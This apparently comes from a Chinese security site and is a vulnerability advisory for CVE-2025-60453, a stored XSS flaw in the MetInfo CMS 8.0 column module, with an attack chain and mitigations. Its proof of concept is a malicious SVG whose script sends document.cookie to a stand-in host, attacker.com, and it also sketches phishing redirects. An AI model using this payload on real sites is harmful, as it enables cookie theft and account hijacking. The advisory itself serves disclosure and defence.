IPBUF安全漏洞报告
English
CVE-2025-60453 CVSS 6.1 中危

CVE-2025-60453:MetInfo CMS 8.0 存储型XSS漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-60453
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MetInfo CMS

相关标签

XSS存储型XSSStored XSSMetInfo CMSCMS漏洞文件上传SVG跨站脚本CVE-2025-60453中危漏洞

漏洞概述

CVE-2025-60453 是 MetInfo CMS 8.0 版本中发现的存储型跨站脚本(Stored XSS)漏洞。该漏洞位于系统的栏目管理模块,具体存在于 app\system\column\admin\index.class.php 组件中。由于该模块对用户上传的文件类型缺乏严格的校验和过滤,攻击者可以将包含恶意 JavaScript 代码的 SVG 文件上传至服务器。当其他用户或管理员查看或访问该上传的 SVG 文件时,嵌入在 SVG 文件中的恶意脚本将在受害者的浏览器上下文中执行,从而实现窃取用户会话 Cookie、劫持账户、篡改页面内容或进行钓鱼攻击等危害。

该漏洞的 CVSS 3.1 评分为 6.1,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需权限即可利用(PR:N),但需要用户交互(UI:R)来触发恶意脚本的执行。漏洞的范围发生了变化(S:C),对机密性和完整性产生低影响(C:L/I:L),对可用性无影响(A:N)。该漏洞由安全研究人员在 2025 年 8 月披露,并于 2025 年 10 月 3 日正式收录到 CVE 数据库中。MetInfo 作为一款广泛使用的中文企业建站系统,其安全性直接影响到大量网站和用户的利益,因此该漏洞需要引起足够重视。

技术细节

该存储型 XSS 漏洞的根本原因在于 MetInfo CMS 8.0 的栏目管理模块在处理文件上传功能时,未对上传文件的类型和内容进行充分的验证和过滤。具体而言,app\system\column\admin\index.class.php 组件允许管理员通过上传功能添加图标或缩略图等资源,但未限制上传 SVG 文件类型。

SVG(Scalable Vector Graphics)是一种基于 XML 的矢量图形格式,与普通的图片格式(如 PNG、JPG)不同,SVG 文件本质上是一个 XML 文档,可以包含 JavaScript 脚本标签(<script>)。当浏览器渲染 SVG 文件时,会执行其中嵌入的 JavaScript 代码,这使得 SVG 文件成为 XSS 攻击的理想载体。

利用方式如下:
1. 攻击者首先构造一个恶意的 SVG 文件,在其中嵌入 JavaScript 脚本(如窃取 Cookie、重定向到钓鱼页面等)。
2. 攻击者通过栏目管理模块的文件上传功能,将该恶意 SVG 文件上传至服务器。
3. 服务器存储该 SVG 文件,并返回该文件的访问 URL。
4. 当其他用户(包括管理员)访问包含该 SVG 文件的页面或直接访问该 SVG 文件 URL 时,浏览器会解析并执行 SVG 中的恶意脚本。
5. 恶意脚本在受害者的浏览器上下文中执行,可以窃取会话 Cookie、劫持账户、进行钓鱼攻击或进一步渗透。

由于该漏洞是存储型 XSS,恶意脚本被持久化存储在服务器端,因此影响范围更广,危害更大。任何访问受影响页面的用户都会受到攻击。

攻击链分析

STEP 1
步骤1:构造恶意SVG文件
攻击者创建一个包含恶意JavaScript代码的SVG文件。SVG作为XML格式支持内嵌脚本标签,浏览器在渲染时会执行其中的脚本。
STEP 2
步骤2:上传恶意文件
攻击者通过MetInfo CMS 8.0的栏目管理模块的文件上传功能,将恶意SVG文件上传至服务器。由于系统未对上传文件类型进行严格过滤,SVG文件被成功存储。
STEP 3
步骤3:诱导受害者访问
攻击者通过社会工程学手段或其他方式,诱导其他用户或管理员访问包含恶意SVG文件的页面或直接访问SVG文件的URL。
STEP 4
步骤4:恶意脚本执行
当受害者的浏览器加载并渲染恶意SVG文件时,嵌入的JavaScript代码在受害者会话上下文中执行,可窃取Cookie、会话令牌或执行其他恶意操作。
STEP 5
步骤5:权限提升与持久化
如果受害者是管理员,攻击者可以利用窃取的会话信息劫持管理员账户,进一步控制CMS系统,上传Webshell或进行其他恶意活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for Stored XSS in MetInfo CMS 8.0 Column Module --> <!-- CVE-2025-60453 --> <!-- Upload this file via the column management module's file upload functionality --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="200" height="200"> <script type="text/javascript"> // Malicious JavaScript payload - executed when SVG is rendered in browser // Example: Steal cookies and send to attacker's server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(cookie); // Alternative: Redirect to phishing page // window.location.href = "https://attacker.com/phishing"; // Alternative: Perform actions on behalf of the user // fetch('/api/sensitive-action', {method: 'POST', credentials: 'include'}); </script> <rect x="0" y="0" width="200" height="200" fill="blue"/> <text x="50" y="100" fill="white">Icon</text> </svg>

影响范围

MetInfo CMS 8.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在Web服务器层面配置规则,禁止访问或返回包含<script>标签的SVG文件内容;2)修改文件上传逻辑,在app\system\column\admin\index.class.php中添加文件类型白名单,仅允许上传图片格式(如PNG、JPG、GIF、WebP);3)对已上传的SVG文件进行批量扫描和清理;4)配置Web服务器(如Nginx/Apache)禁止直接访问上传目录中的SVG文件;5)为网站配置严格的Content Security Policy,限制内联脚本的执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表